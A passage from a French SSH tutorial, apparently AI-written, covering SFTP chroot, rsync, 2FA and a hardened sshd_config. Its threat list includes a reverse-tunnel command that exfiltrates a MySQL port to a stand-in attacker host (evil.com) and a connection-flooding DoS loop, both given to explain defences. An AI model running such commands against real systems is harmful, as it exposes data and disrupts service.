# Propriétaire : root (obligatoire pour chroot)
sudo chown root:root /var/sftp

# Permissions strictes
sudo chmod 755 /var/sftp

# Sous-dossier pour uploads (propriétaire = sftpuser)
sudo chown sftpuser:sftp-only /var/sftp/uploads
sudo chmod 755 /var/sftp/uploads
```

**[ATTENTION] Important :**
- Le répertoire chroot (`/var/sftp`) DOIT appartenir à `root`
- Seuls les sous-dossiers peuvent appartenir à l'utilisateur

---

#### Configurer sshd pour SFTP chroot

```bash
sudo nano /etc/ssh/sshd_config
```

**Ajouter À LA FIN du fichier :**

```bash
# ═══════════════════════════════════════════════════════════════
# CONFIGURATION SFTP CHROOT
# ═══════════════════════════════════════════════════════════════

# Remplacer le subsystem sftp par internal-sftp
# Commenter la ligne existante :
# Subsystem sftp /usr/lib/openssh/sftp-server

# Et ajouter :
Subsystem sftp internal-sftp

# ───────────────────────────────────────────────────────────────
# Configuration pour le groupe sftp-only
# ───────────────────────────────────────────────────────────────

Match Group sftp-only
    # Forcer SFTP uniquement (pas de shell)
    ForceCommand internal-sftp
    
    # Activer le chroot
    ChrootDirectory /var/sftp
    
    # Permissions restrictives
    PermitTunnel no
    AllowAgentForwarding no
    AllowTcpForwarding no
    X11Forwarding no
```

**Explication :**

**`internal-sftp`** = Serveur SFTP interne (plus sécurisé)

**`ForceCommand internal-sftp`** = Force l'exécution de internal-sftp (pas de shell)

**`ChrootDirectory /var/sftp`** = Emprisonne l'utilisateur dans /var/sftp

**Après chroot, l'utilisateur voit :**
```
/ (qui est en réalité /var/sftp)
└── uploads/
```

**Il ne peut PAS sortir de /var/sftp !**

---

**Tester la configuration :**

```bash
sudo sshd -t
```

**Si OK, redémarrer SSH :**

```bash
sudo systemctl restart ssh
```

---

#### Tester l'accès SFTP chroot

**Depuis TON PC :**

```bash
sftp sftpuser@192.168.1.100
# Mot de passe : celui défini avec passwd
```

**Une fois connecté :**

```
sftp> pwd
Remote working directory: /

sftp> ls
uploads

sftp> cd uploads
sftp> put fichier.txt
Uploading fichier.txt to /uploads/fichier.txt
fichier.txt                               100%   123    1.2KB/s   00:00

sftp> cd ..
sftp> cd /
sftp> cd /etc
Couldn't canonicalize: No such file or directory
```

**[OK] L'utilisateur est bien emprisonné dans /var/sftp !**

**Il ne peut PAS accéder à `/etc`, `/home`, etc.**

---

**Tenter un accès SSH (doit échouer) :**

```bash
ssh sftpuser@192.168.1.100
```

**Résultat attendu :**

```
This service allows sftp connections only.
Connection to 192.168.1.100 closed.
```

**[OK] Pas d'accès shell, seulement SFTP !**

---

### ÉTAPE 8 : Optimisation des performances

#### Compression adaptative

**rsync avec compression :**

```bash
# Compression pour fichiers texte
rsync -avz --compress-level=9 source/ user@server:/destination/

# Pas de compression pour fichiers déjà compressés
rsync -av --skip-compress=gz/zip/jpg/png source/ user@server:/destination/
```

---

#### Parallélisation avec GNU Parallel

**Transférer plusieurs fichiers en parallèle :**

```bash
# Installer GNU Parallel
sudo apt install parallel -y

# Transférer 10 fichiers en parallèle
find source/ -type f | parallel -j10 rsync -avz {} user@server:/destination/{}
```

**`-j10`** = 10 transferts simultanés

---

#### Utiliser rsync daemon (plus rapide que SSH)

**Sur le SERVEUR, configurer rsyncd :**

```bash
sudo nano /etc/rsyncd.conf
```

**Contenu :**

```ini
[backups]
path = /backups
comment = Backup directory
read only = false
list = yes
uid = sysadmin
gid = sysadmin
auth users = backup
secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.1.0/24
```

---

**Créer le fichier de secrets :**

```bash
sudo nano /etc/rsyncd.secrets
```

**Contenu :**

```
backup:SecretPassword123
```

**Permissions :**

```bash
sudo chmod 600 /etc/rsyncd.secrets
```

---

**Démarrer rsync daemon :**

```bash
sudo systemctl enable rsync
sudo systemctl start rsync
```

---

**Depuis le CLIENT :**

```bash
# Transférer via rsync daemon (plus rapide que SSH)
rsync -avz source/ rsync://backup@192.168.1.100/backups/
# Mot de passe : SecretPassword123
```

**[ATTENTION] Attention : rsync daemon n'est PAS chiffré !**

**Pour chiffrer, combiner avec tunnel SSH ou VPN.**

---

### [OK] TESTS DE VALIDATION

**1. SCP fonctionne**

```bash
scp fichier.txt user@server:/tmp/
ssh user@server "ls -l /tmp/fichier.txt"
```

- [ ] Fichier présent sur le serveur

---

**2. SFTP interactif**

```bash
sftp user@server
> put fichier.txt
> ls
> exit
```

- [ ] Upload réussi
- [ ] Fichier listé

---

**3. SSHFS monte le système distant**

```bash
mkdir ~/remote
sshfs user@server:/var/www/html ~/remote
ls ~/remote
fusermount -u ~/remote
```

- [ ] Fichiers distants visibles
- [ ] Démontage réussi

---

**4. rsync synchronise correctement**

```bash
# Créer un dossier de test
mkdir test-sync
echo "fichier1" > test-sync/file1.txt

# Premier rsync
rsync -avz test-sync/ user@server:/tmp/test-sync/

# Modifier localement
echo "fichier2" > test-sync/file2.txt

# Deuxième rsync (delta transfer)
rsync -avz test-sync/ user@server:/tmp/test-sync/
```

- [ ] Seulement file2.txt transféré (pas file1.txt)
- [ ] Delta transfer fonctionne

---

**5. SFTP chroot emprisonne l'utilisateur**

```bash
sftp sftpuser@server
> pwd
> cd /etc
```

- [ ] pwd affiche `/`
- [ ] cd /etc échoue

---

### [ROUGE] ERREURS COURANTES ET SOLUTIONS

#### Erreur 1 : Permission denied avec SSHFS

**Symptôme :**

```
fusermount: mount failed: Permission denied
```

**Cause : User pas dans le groupe `fuse`**

**Solution :**

```bash
sudo usermod -a -G fuse $USER
# Se déconnecter/reconnecter pour appliquer
```

---

#### Erreur 2 : rsync: failed to set times

**Symptôme :**

```
rsync: failed to set times on "/path/file": Operation not permitted (1)
```

**Cause : Pas les permissions pour modifier les timestamps**

**Solution : Utiliser `--no-perms --no-owner --no-group` :**

```bash
rsync -avz --no-perms --no-owner --no-group source/ user@server:/destination/
```

---

#### Erreur 3 : chroot directory must be owned by root

**Symptôme :**

```
fatal: bad ownership or modes for chroot directory "/var/sftp"
```

**Cause : Mauvais propriétaire du répertoire chroot**

**Solution :**

```bash
sudo chown root:root /var/sftp
sudo chmod 755 /var/sftp
```

---

### [IMPORTANT] POINTS CLÉS À RETENIR

**1. Choix de l'outil**
- SCP : Déprécié, éviter
- SFTP : Transferts ponctuels interactifs
- SSHFS : Montage transparent (occasionnel)
- **rsync : * Le meilleur (synchronisation, backups)**

**2. rsync est le champion**
- Delta transfer (économie bande passante)
- Reprise sur échec
- Synchronisation bidirectionnelle
- Options infinies

**3. Options rsync essentielles**
```bash
-a : Archive (préserve tout)
-v : Verbose (afficher progression)
-z : Compression
-P : --partial --progress (reprise + progression)
--delete : Supprimer fichiers en trop
--dry-run : Simulation
```

**4. Sécurité**
- SFTP chroot pour utilisateurs restreints
- Pas d'accès shell si pas nécessaire
- Limiter bande passante si besoin

**5. Automatisation**
- Scripts bash + cron
- Backups incrémentaux avec hard links
- Rotation automatique

---

### [RAPIDE] POUR ALLER PLUS LOIN

**1. Borg Backup (alternative à rsync)**

```bash
# Déduplication + compression + chiffrement
borg init --encryption=repokey /path/to/repo
borg create /path/to/repo::backup-$(date +%Y%m%d) /source
```

**Avantages :**
- Déduplication (économie d'espace maximale)
- Chiffrement natif
- Compression avancée

---

**2. Rclone (cloud storage)**

```bash
# Synchroniser vers S3, Google Drive, etc.
rclone sync /local/path remote:bucket
```

**Support 40+ cloud providers !**

---

**3. Syncthing (synchronisation P2P)**

**Synchronisation continue entre plusieurs machines sans serveur central.**

---

**4. Restic (backups modernes)**

```bash
restic -r /backup-repo backup /source
```

**Fonctionnalités :**
- Snapshots
- Déduplication
- Chiffrement
- Vérification d'intégrité

---

## [COURS] CONCLUSION DE L'EXERCICE 4

**[OK] Félicitations ! Tu maîtrises maintenant tous les transferts de fichiers SSH !**

**Ce que tu as appris :**
- SCP pour transferts simples
- SFTP interactif et automatisé
- SSHFS pour montage de systèmes distants
- **rsync : L'outil ultime de synchronisation**
- Automatisation de backups
- SFTP chroot pour sécurité renforcée
- Optimisation des performances

**Compétences acquises :**
- [OK] Transferts de fichiers sécurisés (niveau avancé)
- [OK] Synchronisation et backups
- [OK] Automatisation avec scripts
- [OK] Sécurité SFTP
- [OK] Optimisation réseau

**Temps moyen de réalisation :** 3-4 heures

**Prochaine étape :** Exercice 5 - Sécurité SSH avancée et Hardening ! [VERROUILLE][SECURITE]

---

(Veux-tu que je continue avec l'exercice 5 final sur la sécurité SSH avancée et le hardening complet ?)

# [ROUGE] EXERCICE 5 : SÉCURITÉ SSH AVANCÉE ET HARDENING COMPLET

## [LISTE] ÉNONCÉ

### Contexte professionnel

Tu es Security Engineer dans une fintech qui traite des transactions financières sensibles. Suite à plusieurs tentatives d'intrusion détectées sur les serveurs SSH, le CISO (Chief Information Security Officer) te demande de **durcir au maximum** la sécurité SSH de toute l'infrastructure.

L'entreprise doit aussi se conformer aux normes :
- **PCI-DSS** (Payment Card Industry Data Security Standard)
- **SOC 2** (Service Organization Control)
- **ISO 27001** (Sécurité de l'information)

Ces normes EXIGENT :
- Authentification multi-facteurs (MFA)
- Audit complet de toutes les connexions
- Détection d'intrusion en temps réel
- Chiffrement renforcé
- Principe du moindre privilège
- Revue de sécurité mensuelle

### Cahier des charges

Le système doit implémenter :
- **Authentification renforcée** : MFA/2FA obligatoire
- **Protection anti-brute force** : fail2ban, rate limiting
- **Chiffrement maximal** : Algorithmes modernes uniquement
- **Détection d'intrusion** : IDS/IPS temps réel
- **Audit complet** : Logs détaillés, SIEM
- **Port knocking** : SSH invisible aux scanners
- **Certificats SSH** : Gestion centralisée des accès
- **Principe du moindre privilège** : Restrictions par utilisateur
- **Honeypot SSH** : Piège pour attaquants

### Architecture de sécurité

```
┌─────────────────────────────────────────────────────────────┐
│                     INTERNET (Menaces)                      │
│                                                             │
│  [Attaquants] [Bots] [Scanners] [Brute Force]             │
└─────────────────────────────────────────────────────────────┘
                            │
                            │ Tentatives bloquées
                            [BLACK_DOWN-POINTING_TRIANGLE]
                  ┌─────────────────────┐
                  │   FIREWALL (UFW)    │
                  │   + fail2ban        │
                  └─────────────────────┘
                            │
                            │ Port Knocking
                            [BLACK_DOWN-POINTING_TRIANGLE]
                  ┌─────────────────────┐
                  │   SSH BASTION       │
                  │   - Port custom     │
                  │   - 2FA obligatoire │
                  │   - Certificats SSH │
                  │   - Audit complet   │
                  └─────────────────────┘
                            │
        ┌───────────────────┼───────────────────┐
        │                   │                   │
        [BLACK_DOWN-POINTING_TRIANGLE]                   [BLACK_DOWN-POINTING_TRIANGLE]                   [BLACK_DOWN-POINTING_TRIANGLE]
    [PROD-01]          [PROD-02]          [DB-01]
    Serveurs internes (accès restreint)
```

### Contraintes

- Conformité réglementaire obligatoire
- Zero downtime (haute disponibilité)
- Temps de réponse aux incidents : <5 minutes
- Rétention des logs : 1 an minimum
- Temps estimé : 4-5 heures

---

## [OBJECTIF] OBJECTIFS PÉDAGOGIQUES

À la fin de cet exercice, tu sauras :

- [OK] Durcir SSH selon les standards de sécurité
- [OK] Implémenter 2FA/MFA pour SSH
- [OK] Protéger contre les attaques brute force (fail2ban)
- [OK] Utiliser le port knocking pour masquer SSH
- [OK] Déployer des certificats SSH
- [OK] Configurer un IDS/IPS (OSSEC, Snort)
- [OK] Mettre en place un honeypot SSH
- [OK] Auditer et monitorer SSH en temps réel
- [OK] Répondre à des incidents de sécurité
- [OK] Appliquer le principe du moindre privilège

---

## [DOCS] PRÉREQUIS

- Tous les exercices précédents terminés
- Compréhension de la sécurité informatique
- Connaissance des menaces SSH courantes
- Accès root sur un serveur de test

---

## [OK] SOLUTION COMPLÈTE

### ÉTAPE 1 : Comprendre les menaces SSH

**Avant de sécuriser, comprenons les attaques.**

#### Les 10 menaces principales

**1. Brute Force Attack (Attaque par force brute)**

```
Principe :
- L'attaquant teste des milliers de combinaisons user/password
- Scripts automatisés (bots)
- Dictionnaires de mots de passe communs

Exemple :
ssh root@server
Mot de passe : admin
Mot de passe : password
Mot de passe : 123456
... (des milliers de tentatives)
```

**Impact :** Accès non autorisé si mot de passe faible

**Défense :** Désactiver les mots de passe, fail2ban, rate limiting

---

**2. SSH Key Theft (Vol de clés SSH)**

```
Scénario :
- Attaquant compromet un poste de travail
- Vole la clé privée SSH (~/.ssh/id_rsa)
- Peut se connecter à tous les serveurs autorisés
```

**Impact :** Accès non autorisé même avec clés SSH

**Défense :** Passphrase obligatoire, certificats SSH avec expiration

---

**3. Man-in-the-Middle (MITM)**

```
Scénario :
┌──────┐      ┌──────────┐      ┌──────┐
│Client│ ───> │Attaquant │ ───> │Server│
└──────┘      └──────────┘      └──────┘
              (intercepte)

- Attaquant intercepte la connexion SSH
- Déchiffre et lit les données
- Peut modifier les commandes
```

**Impact :** Confidentialité compromise, injection de commandes

**Défense :** Vérification stricte des clés d'hôte (StrictHostKeyChecking yes)

---

**4. Credential Stuffing**

```
Scénario :
- Attaquant obtient des credentials d'une fuite de données
- Teste ces credentials sur d'autres services
- Ex: email/password de LinkedIn sur serveurs SSH

Base de données de fuites :
- haveibeenpwned.com
- Collection #1 (770M emails/passwords)
```

**Impact :** Accès non autorisé si réutilisation de mots de passe

**Défense :** Mots de passe uniques, authentification multi-facteurs

---

**5. SSH User Enumeration**

```
Scénario :
- Différence de temps de réponse selon si user existe ou non
- Permet de découvrir les noms d'utilisateurs valides

Commande :
ssh invalid_user@server
(réponse rapide : user invalide)

ssh root@server
(réponse lente : user valide, teste mot de passe)
```

**Impact :** Information sur les comptes existants

**Défense :** Timing attack protection, fail2ban

---

**6. Privilege Escalation (Élévation de privilèges)**

```
Scénario :
- Attaquant obtient un accès SSH limité
- Exploite une vulnérabilité locale (kernel, sudo, SUID)
- Obtient les privilèges root

Exemple :
user@server:~$ id
uid=1000(user) gid=1000(user)

user@server:~$ exploit-CVE-XXXX

root@server:~# id
uid=0(root) gid=0(root)
```

**Impact :** Compromission totale du serveur

**Défense :** Mises à jour régulières, SELinux/AppArmor, restrictions sudo

---

**7. Session Hijacking**

```
Scénario :
- Attaquant avec accès root sur le serveur
- Attache une session SSH active d'un autre utilisateur
- Voit et exécute des commandes

Outil : reptyr, screen hijacking
```

**Impact :** Espionnage de sessions, vol de données

**Défense :** SELinux, audit des sessions, détection d'anomalies

---

**8. Tunneling Malveillant**

```
Scénario :
- Utilisateur compromis crée un tunnel SSH reverse
- Exfiltre des données via ce tunnel
- Contourne le firewall sortant

Commande :
ssh -R 8080:localhost:3306 attaquant@evil.com
(expose MySQL du serveur sur evil.com)
```

**Impact :** Exfiltration de données, backdoor permanente

**Défense :** Restreindre AllowTcpForwarding, monitoring des connexions

---

**9. Downgrade Attack**

```
Scénario :
- Forcer l'utilisation d'algorithmes de chiffrement faibles
- Déchiffrer la communication

Exemple :
- Forcer SSHv1 (obsolète, vulnérable)
- Forcer des ciphers faibles (DES, RC4)
```

**Impact :** Déchiffrement de la communication

**Défense :** Désactiver SSHv1, utiliser uniquement ciphers modernes

---

**10. Denial of Service (DoS)**

```
Scénario :
- Saturer le serveur SSH avec des connexions
- Empêcher les connexions légitimes

Attaque :
for i in {1..1000}; do
  ssh user@server &
done
```

**Impact :** Service SSH indisponible

**Défense :** Rate limiting, MaxStartups, fail2ban

---

### ÉTAPE 2 : Hardening SSH - Configuration ultime

**Configuration SSH durcie au maximum selon les standards de sécurité.**

#### Sauvegarder la configuration actuelle

```bash
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.backup.$(date +%Y%m%d)
```

---

#### Configuration sshd_config ultra-sécurisée

```bash
sudo nano /etc/ssh/sshd_config
```

**Contenu (commentaires exhaustifs) :**

```bash
# ═══════════════════════════════════════════════════════════════
# SSH DAEMON CONFIGURATION - HARDENED SECURITY
# Niveau : EXPERT - Conformité PCI-DSS, SOC2, ISO27001
# ═══════════════════════════════════════════════════════════════

# ───────────────────────────────────────────────────────────────
# SECTION 1 : PORT ET PROTOCOLE
# ───────────────────────────────────────────────────────────────

# Port SSH (changer pour réduire les scans automatisés)
# Port 22 = Port par défaut (scanné en permanence par les bots)
# Recommandation : Utiliser un port > 1024 (ex: 2222, 22222)
Port 22

# [ATTENTION] CRITIQUE : Protocole SSH version 2 UNIQUEMENT
# SSHv1 est obsolète et vulnérable (CVE-1999-0817, CVE-2001-0572)
Protocol 2

# Interface d'écoute (0.0.0.0 = toutes, ou IP spécifique)
# Recommandation production : Spécifier l'IP publique uniquement
#ListenAddress 0.0.0.0
#ListenAddress 203.0.113.10  # IP publique seulement

# ───────────────────────────────────────────────────────────────
# SECTION 2 : AUTHENTIFICATION
# ───────────────────────────────────────────────────────────────

# [ATTENTION] CRITIQUE : Désactiver COMPLÈTEMENT l'authentification par mot de passe
# Raison : Vulnérable aux attaques brute force
# Les mots de passe sont TOUJOURS plus faibles que les clés cryptographiques
PasswordAuthentication no
PermitEmptyPasswords no

# Désactiver l'authentification challenge-response
# (Utilisé par PAM, peut contourner PasswordAuthentication no)
ChallengeResponseAuthentication no

# [ATTENTION] CRITIQUE : Authentification par clé publique UNIQUEMENT
PubkeyAuthentication yes

# Fichier des clés autorisées (chemin par défaut)
AuthorizedKeysFile .ssh/authorized_keys

# Alternative : Récupération centralisée des clés (LDAP, API)
# AuthorizedKeysCommand /usr/local/bin/fetch-ssh-keys.sh
# AuthorizedKeysCommandUser nobody

# ───────────────────────────────────────────────────────────────
# SECTION 3 : RESTRICTIONS D'ACCÈS
# ───────────────────────────────────────────────────────────────

# [ATTENTION] CRITIQUE : Interdire le login root DIRECT
# Raison : Principe du moindre privilège
# Les admins doivent se connecter avec leur compte puis sudo
PermitRootLogin no

# Alternative si root DOIT se connecter (déconseillé) :
# PermitRootLogin prohibit-password  # Seulement par clé, pas par password

# Autoriser SEULEMENT certains utilisateurs
# Remplacer par vos vrais usernames
AllowUsers sysadmin deploy monitoring

# Ou autoriser SEULEMENT certains groupes
# AllowGroups ssh-users admins

# Refuser explicitement certains users (optionnel)
# DenyUsers guest anonymous

# Nombre maximum de tentatives d'authentification
# 3 = Échec après 3 mauvaises tentatives
MaxAuthTries 3

# Nombre maximum de sessions SSH simultanées par connexion réseau
MaxSessions 2

# Timeout pour l'authentification (secondes)
# Si l'auth n'est pas complétée en 30s, déconnexion
LoginGraceTime 30

# ───────────────────────────────────────────────────────────────
# SECTION 4 : CHIFFREMENT ET ALGORITHMES CRYPTOGRAPHIQUES
# ───────────────────────────────────────────────────────────────

# [ATTENTION] CRITIQUE : Utiliser UNIQUEMENT les algorithmes modernes et sûrs
# Supprimer TOUS les algorithmes faibles/obsolètes

# Algorithmes d'échange de clés (Key Exchange)
# Supprimer : diffie-hellman-group1-sha1 (vulnérable)
# Conserver : curve25519, ecdh avec SHA256/512
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256

# Ciphers de chiffrement symétrique
# Supprimer : 3des-cbc, aes128-cbc, arcfour (vulnérables)
# Conserver : chacha20-poly1305, aes256-gcm, aes256-ctr
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr

# Algorithmes MAC (Message Authentication Code)
# Supprimer : hmac-md5, hmac-sha1 (faibles)
# Conserver : hmac-sha2-512-etm, hmac-sha2-256-etm
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256

# Algorithmes de clés d'hôte (Host Key)
# Supprimer : ssh-dss (DSA obsolète)
# Conserver : ed25519, ecdsa, rsa (>= 2048 bits)
HostKeyAlgorithms ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256

# Fichiers de clés d'hôte (générer ed25519 si absent)
HostKey /etc/ssh/ssh_host_ed25519_key
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key

# ───────────────────────────────────────────────────────────────
# SECTION 5 : AGENT FORWARDING ET PORT FORWARDING
# ───────────────────────────────────────────────────────────────

# Agent Forwarding ([ATTENTION] Risque de sécurité)
# Si le serveur est compromis, l'attaquant peut utiliser l'agent SSH
# Recommandation : Désactiver par défaut, activer seulement pour bastions
AllowAgentForwarding no

# Autoriser le Port Forwarding (tunnels SSH)
# yes = Autorisé (utile pour bastions, tunnels légitimes)
# no = Interdit (sécurité maximale pour serveurs de prod)
AllowTcpForwarding yes

# Si AllowTcpForwarding=yes, restreindre les destinations
# PermitOpen 10.0.1.10:3306 10.0.2.10:5432

# Gateway Ports (exposition de ports forwardés)
# no = Seulement localhost (sécurisé)
# yes = Toutes interfaces (dangereux)
GatewayPorts no

# Tunnels de périphériques (TUN/TAP pour VPN)
# Recommandation : Désactiver sauf si VPN SSH requis
PermitTunnel no

# ───────────────────────────────────────────────────────────────
# SECTION 6 : X11 FORWARDING
# ───────────────────────────────────────────────────────────────

# X11 Forwarding (interface graphique via SSH)
# [ATTENTION] Vulnérabilité : Peut être exploité pour keylogging, screenshot
# Recommandation : Désactiver sauf si GUI absolument nécessaire
X11Forwarding no

# Si X11Forwarding activé, utiliser xauth pour sécurité
#X11UseLocalhost yes

# ───────────────────────────────────────────────────────────────
# SECTION 7 : KEEP-ALIVE ET TIMEOUTS
# ───────────────────────────────────────────────────────────────

# Keep-alive pour éviter les timeouts de firewall/NAT
# Envoie un paquet toutes les 300 secondes (5 min)
ClientAliveInterval 300

# Nombre de paquets keep-alive sans réponse avant déconnexion
# 3 * 300s = 900s (15 min) d'inactivité max
ClientAliveCountMax 3

# Alternative : Timeout absolu de session
# ClientAliveCountMax 0  # Pas de timeout
# ClientAliveInterval 900  # Déconnexion après 15 min sans activité

# ───────────────────────────────────────────────────────────────
# SECTION 8 : LOGGING ET AUDIT
# ───────────────────────────────────────────────────────────────

# Niveau de log VERBOSE pour audit complet
# DEBUG = Très détaillé (debug seulement)
# INFO = Normal
# VERBOSE = Recommandé pour audit
# Logs dans /var/log/auth.log (Debian/Ubuntu) ou /var/log/secure (RedHat)
LogLevel VERBOSE

# Facility syslog
# AUTH = Authentification (recommandé pour SSH)
SyslogFacility AUTH

# ───────────────────────────────────────────────────────────────
# SECTION 9 : BANNIÈRE ET AVERTISSEMENTS
# ───────────────────────────────────────────────────────────────

# Afficher un avertissement légal AVANT connexion
# Obligation légale dans certaines juridictions
Banner /etc/ssh/banner

# PrintMotd (Message of the Day) APRÈS connexion
# Recommandation : Désactiver (géré par PAM)
PrintMotd no

# Dernière connexion affichée
PrintLastLog yes

# ───────────────────────────────────────────────────────────────
# SECTION 10 : SÉCURITÉ RENFORCÉE
# ───────────────────────────────────────────────────────────────

# Utiliser PAM (Pluggable Authentication Modules)
# Permet 2FA, audit avancé, restrictions de session
UsePAM yes

# Désactiver la résolution DNS des clients
# Avantages : Plus rapide, moins de fuite d'informations
# Inconvénient : Pas de hostname dans les logs (seulement IP)
UseDNS no

# Strictement vérifier les modes/propriétaires des fichiers
# Refuse la connexion si ~/.ssh/ ou authorized_keys mal configurés
StrictModes yes

# Interdire les variables d'environnement personnalisées
# Risque : Injection de code via LD_PRELOAD, etc.
PermitUserEnvironment no

# Compression (peut être désactivée pour sécurité max)
# delayed = Seulement après authentification réussie (plus sûr)
Compression delayed

# Limite du nombre de connexions non authentifiées simultanées
# Format : start:rate:full
# 10:30:60 = 10 connexions, puis 30% de rejet aléatoire jusqu'à 60 max
MaxStartups 10:30:60

# Limite par utilisateur (nécessite PAM)
# MaxSessions 2  # Déjà défini plus haut

# ───────────────────────────────────────────────────────────────
# SECTION 11 : SUBSYSTEMS
# ───────────────────────────────────────────────────────────────

# Subsystem SFTP (pour transferts de fichiers)
# internal-sftp = Version interne (plus sécurisée, permet chroot)
Subsystem sftp internal-sftp

# Alternative : sftp-server externe
# Subsystem sftp /usr/lib/openssh/sftp-server

# ───────────────────────────────────────────────────────────────
# SECTION 12 : MATCH BLOCKS (Configurations conditionnelles)
# ───────────────────────────────────────────────────────────────

# Configuration spécifique pour certains users/groupes/IPs

# Exemple : Groupe sftp-only (chroot, pas de shell)
#Match Group sftp-only
#    ChrootDirectory /var/sftp/%u
#    ForceCommand internal-sftp
#    AllowTcpForwarding no
#    X11Forwarding no

# Exemple : Accès restreint par IP
#Match Address 192.168.1.0/24
#    PasswordAuthentication yes  # Seulement pour réseau local de confiance

# Exemple : User avec permissions étendues
#Match User admin
#    AllowAgentForwarding yes
#    AllowTcpForwarding yes

# ═══════════════════════════════════════════════════════════════
# FIN DE CONFIGURATION
# ═══════════════════════════════════════════════════════════════
```

---

#### Générer des clés d'hôte modernes

```bash
# Supprimer les anciennes clés DSA (obsolètes)
sudo rm -f /etc/ssh/ssh_host_dsa_key*

# Générer une nouvelle clé ED25519 (la plus moderne)
sudo ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key -N ""

# Générer une nouvelle clé RSA 4096 bits
sudo ssh-keygen -t rsa -b 4096 -f /etc/ssh/ssh_host_rsa_key -N ""

# Générer une nouvelle clé ECDSA
sudo ssh-keygen -t ecdsa -b 521 -f /etc/ssh/ssh_host_ecdsa_key -N ""

# Permissions strictes
sudo chmod 600 /etc/ssh/ssh_host_*_key
sudo chmod 644 /etc/ssh/ssh_host_*_key.pub
```

---

#### Créer la bannière légale

```bash
sudo nano /etc/ssh/banner
```

**Contenu :**

```
╔═══════════════════════════════════════════════════════════════╗
║                                                               ║
║                  [ATTENTION]  SYSTÈME SÉCURISÉ  [ATTENTION]                      ║
║                                                               ║
║  Ceci est un système privé réservé aux utilisateurs          ║
║  autorisés. L'accès non autorisé est strictement             ║
║  INTERDIT et constitue une violation de la loi.              ║
║                                                               ║
║  Toutes les activités sur ce système sont SURVEILLÉES        ║
║  et ENREGISTRÉES. Les logs peuvent être utilisés comme       ║
║  preuves dans des poursuites judiciaires.                    ║
║                                                               ║
║  En vous connectant, vous acceptez la surveillance de        ║
║  vos activités et les conditions d'utilisation.              ║
║                                                               ║
║  Tentatives d'intrusion signalées aux autorités.             ║
║                                                               ║
╚═══════════════════════════════════════════════════════════════╝
```

---

#### Tester et redémarrer SSH

```bash
# Tester la syntaxe de la configuration
sudo sshd -t

# Si OK (aucune erreur), redémarrer SSH
sudo systemctl restart ssh

# Vérifier que SSH redémarre correctement
sudo systemctl status ssh
```

**[ATTENTION] IMPORTANT : Garder une session SSH ouverte pendant le test !**

**En cas de problème, tu peux restaurer la config :**

```bash
sudo cp /etc/ssh/sshd_config.backup.YYYYMMDD /etc/ssh/sshd_config
sudo systemctl restart ssh
```

---

### ÉTAPE 3 : Authentification Multi-Facteurs (2FA/MFA)

**MFA = Quelque chose que tu connais (mot de passe) + Quelque chose que tu as (OTP)**

#### Installer Google Authenticator

```bash
sudo apt update
sudo apt install libpam-google-authenticator -y
```

---

#### Configurer Google Authenticator pour un utilisateur

**Sur le SERVEUR, en tant qu'utilisateur normal (pas root) :**

```bash
google-authenticator
```

**Répondre aux questions :**

```
Do you want authentication tokens to be time-based? (y/n) y
```

**Un QR code s'affiche. Scanner avec une app :**
- Google Authenticator (Android/iOS)
- Microsoft Authenticator
- Authy
- FreeOTP

**Noter aussi le secret et les codes de secours !**

---

**Questions suivantes :**

```
Do you want me to update your "/home/user/.google_authenticator" file? (y/n) y

Do you want to disallow multiple uses of the same authentication token? (y/n) y
# Empêche la réutilisation d'un code OTP

By default, tokens are good for 30 seconds. Do you want to enable time-skew? (y/n) y
# Autorise un décalage de temps (utile si horloge pas parfaitement synchro)

Do you want to enable rate-limiting? (y/n) y
# Limite à 3 tentatives toutes les 30 secondes (anti-brute force)
```

---

**Fichier créé : `~/.google_authenticator`**

```bash
cat ~/.google_authenticator
```

**Contenu :**

```
SECRET_KEY
" RATE_LIMIT 3 30
" WINDOW_SIZE 17
" DISALLOW_REUSE
" TOTP_AUTH
12345678
23456789
34567890
45678901
56789012
```

**Codes de secours = 5 codes à usage unique (si téléphone perdu)**

---

#### Configurer PAM pour exiger 2FA

```bash
sudo nano /etc/pam.d/sshd
```

**Ajouter APRÈS `@include common-auth` :**

```bash
# ───────────────────────────────────────────────────────────────
# AUTHENTIFICATION MULTI-FACTEURS (2FA)
# ───────────────────────────────────────────────────────────────

# Google Authenticator (OTP)
# required = Obligatoire (échec si pas de .google_authenticator)
# requisite = Obligatoire + arrêt immédiat si échec
# sufficient = Suffisant seul (pas recommandé pour 2FA)
auth required pam_google_authenticator.so nullok

# Options disponibles :
# nullok = Autorise users sans .google_authenticator (migration progressive)
# forward_pass = Passe le mot de passe au module suivant (si combiné)
# noskewadj = Désactive l'ajustement de décalage horaire
# debug = Mode debug (logs verbeux)

# Pour forcer 2FA pour TOUS (supprimer nullok) :
# auth required pam_google_authenticator.so
```

**Explication :**

**`nullok`** = Autorise la connexion même sans `.google_authenticator`

**Utile pour migration progressive :**
1. Activer 2FA avec `nullok`
2. Demander aux users de configurer google-authenticator
3. Quand tous configurés, supprimer `nullok` (2FA obligatoire)

---

#### Configurer sshd pour utiliser PAM

```bash
sudo nano /etc/ssh/sshd_config
```

**Vérifier/ajouter :**

```bash
# Activer PAM
UsePAM yes

# Activer ChallengeResponseAuthentication (pour 2FA)
ChallengeResponseAuthentication yes

# Méthodes d'authentification (dans l'ordre)
# publickey = Clé SSH d'abord
# keyboard-interactive = Puis 2FA (via PAM)
AuthenticationMethods publickey,keyboard-interactive
```

**Explication :**

```
AuthenticationMethods publickey,keyboard-interactive
                     │          │
                     │          └─ 2FA (Google Authenticator)
                     └──────────── Clé SSH
```

**Les DEUX sont requis pour se connecter.**

---

**Redémarrer SSH :**

```bash
sudo systemctl restart ssh
```

---

#### Tester la connexion 2FA

**Depuis TON PC :**

```bash
ssh sysadmin@192.168.1.100
```

**Processus :**

```
